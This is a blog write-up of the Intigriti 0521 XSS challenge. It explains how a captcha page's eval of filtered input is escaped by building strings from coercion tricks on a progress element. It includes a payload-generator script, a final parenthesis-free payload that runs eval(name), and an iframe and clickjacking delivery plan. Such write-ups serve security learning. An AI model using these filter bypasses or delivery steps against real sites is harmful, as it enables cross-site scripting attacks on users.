Reading time: 7 minutes.
This write-up aims to demonstrate a solution to the Intigriti’s 0521 XSS challenge, which was created by @GrumpinouT.
Table of contents:
The application is a simple captcha implementation based on a verification of a sum calculation. When a user clicks on Submit
button, the calc
function is called.
function calc() {
const operation = a.innerText + b.innerText + c.value;
/* Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant) */
if (!operation.match(/[a-df-z<>()!\\='"]/gi)) {
if (d.innerText == eval(operation)) {
alert("🚫🤖 Congratulations, you're not a robot!");
}
else {
alert("🤖 Sorry to break the news to you, but you are a robot!");
}
setNewNumber();
}
c.value = "";
}
The content of calc
function is shown above. It gets three values to calculate:
a.innerText
: It represents a number randomly generated used as an operand.b.innerText
: It represents the +
signal.c.value
: It represents the value provided by the user via input
HTML tag.Then, the concatenation of these three values becomes a parameter of eval
function. The d.innerText
represents the result of sum, which is compared with the result of eval
function execution. Thus, the data source arises from input
HTML tag and the sink function is the eval
function itself.
The execution flow between the data source and sink function has a Regex sanitizing the input, which allows: e, [], `, +, numbers and etc.
The window.name
is a global variable in which its content is maintained by the browser, including through different origins [1]. Hence, it is possible to set the window.name
content, redirect to another website, and then see the same value.
All HTML tags can be accessed in JavaScript via its id
value [2]. If an input tag was defined as <input id="test" value"hello">
, the command test.value
returns the string hello
. In contrast, if before access has a variable defined with the same name of the id, it is only possible to access via window['test']
.
In JavaScript is possible to make any string concatenation, regardless of content type [3]. This is possible due to toString
function. Example: When a string is concatenated with an integer, the integer value is converted to string automatically via toString
function execution. It occurs in the same way when a string is concatenated with objects and etc. In the sandbox below are shown some results of different types of concatenation.
Based on the information observed in the previous section, it is possible to create strings using characters allowed by sanitizer (regex) and string concatenation.
Example creating the string fine
.
The concatenation of '' + {}.b
results in undefined
as shown before, but the sanitizer does not allow single quotes and any alphabet character different from e
. However, the character e
can be used and it represents a process
HTML tag as shown below.
<progress id="e" value="0" max="100" style="display:none"></progress>
One way to create the word fine
is shown in the sandbox below.
The sandbox shows a concatenation of e.e+e
, which means:
process
HTML tag and get the content of the property e
. As e.e
does not exist, it returns undefined
.e.e.toString() + e.toString()
.The goal of this challenge is to execute alert(document.domain)
, which implies the execution of some function. As parentheses are not allowed to use, functions can be called through ``
.
Even though the input provided by the user goes to an eval
function, a payload like eval(name)
could not be used. This happens because the payload cannot use these characters and the payload will look like with a concatenation of a string. Hence, this results in a execution like eval([e.e+e]+...)
.
This string problem could be solved with a payload using a template string like `${eval(name)}`
, which results in an execution of eval("`${eval(name)}`")
. Consequently, it is necessary to create the string `${eval(name)}`
with string concatenation and set the content of window.name
to alert(document.domain)
.
The object e
has access to alert
or eval
functions directly through e.ownerDocument.defaultView.
or e.getRootNode().defaultView
, but these are long strings and it introduces a problem: the server does not allow a huge quantity of characters in GET requests.
In JavaScript, it is possible to create functions and execute them through constructor.bind
. Thus, if the object e
has a function property, it is completely exploitable.
In the sandbox below is shown the object e
accessing the blur
function, which results in an execution of console.log("EffectRenan")
.
Adaptaing this payload into a single line execution: e["blur"]["constructor"]["bind"]()("console.log('EffectRenan')")();
As the payload shown previously cannot use parentheses, it is necessary to replace them with ``
. Instead of the content executed be alert(document.domain)
directly, it is preferring following the same approach to execute eval(name)
to be able to execute arbitrary JavaScript code easily.
Some strings need to be created based on string concatenation technique, such as:
To generate all these strings is necessary to have a base string that contains all necessary characters. With the base string [e*e+e+e.e]
, which means NaN[object HTMLProgressElement]undefined
, it is possible to generate blur
, constructor
and bind
.
const base = '[e*e+e+e.e]';
const concat = eval(base)[0]; /* NaN[object HTMLProgressElement]undefined */
const generate = code => {
let payload = '';
for (i in code) {
for (j in concat) {
if (code[i] == concat[j]) {
payload += `${base}[0][${j}]+`;
break;
}
}
}
return payload.slice(0, payload.length - 1);
}
The above code shows the behavior of a function to generate all strings automatically. This function gets each character from code
parameter and try to find a character in
concat
string, which represents NaN[objectHTMLProgressElement]undefined
. When there is a match, the payload variable add in itself a new content based on the base string and a position where was found the character. The sandbox below shows all steps to generate the bind
string.
As all functions definition when aplied toString
returns a content similar to function name() { [native code] }
, the blur
function can be used as a base string to eval(name)
. Thus, the concatanation can be, e["blur"]+e
, which means function blur() { [native code] }[object HTMLProgressElement]
. The code below shows how to generate it.
const generate = (code, base, concat) => {
let payload = '';
for (i in code) {
for (j in concat) {
if (code[i] == concat[j]) {
payload += `${base}[0][${j}]+`;
break;
}
}
}
return payload.slice(0, payload.length - 1);
}
const base = '[e*e+e+e.e]';
const concat = eval(base)[0];
const blur = generate('blur', base, concat);
const baseEvalName = `[e[${blur}]+e]`;
const concatEvalName = eval(baseEvalName)[0];
const _eval = `${generate('eval', baseEvalName, concatEvalName)}`;
const openParentheses = `${generate('(', baseEvalName, concatEvalName)}`;
const _name = `${generate('name', baseEvalName, concatEvalName)}`;
const closeParentheses = `${generate(')', baseEvalName, concatEvalName)}`;
const _evalName = `${_eval}+${openParentheses}+${_name}+${closeParentheses}`;
Two things need to be handle yet. When the payload executes the template string ${<concatenation string>}
, which the concatenation string represents eval(name)
, it is necessary to put this between comments. This happens because after the template is rendered it returns ,
, which causes an error. The sandbox below shows a correct execution (returning true) and another causing an error.
Remembering from recon step, the payload is executed like: <number> + payload
. Thus, the payload needs to finish the previous command with <number>;
:
1;e["blur"]["constructor"]["bind"]```/*${"eval(name)"}*/```
Once the payload is done, it is possible to exploit XSS only if the victim fills the input HTML tag with the payload. In this challenge, it is possible to use a GET parameter ?c
to fill it automatically. Unfortunately, this is guessing. As the server has no X-Frame-Options
header, it is possible to exploit clickjacking, but the victim still needs to press on Submit
button.
Based on an iframe
:
window.name
to alert(document.domain)
.https://challenge-0521.intigriti.io/captcha.php?c=
+ payload.Submit
button.I'm late, but here it is.
— Renan Rocha (@EffectRenan) June 8, 2021
Write-up to Intigriti's XSS challenge. Check it out!https://t.co/F8OMnc5bmc#XSS https://t.co/MvFbuONgWr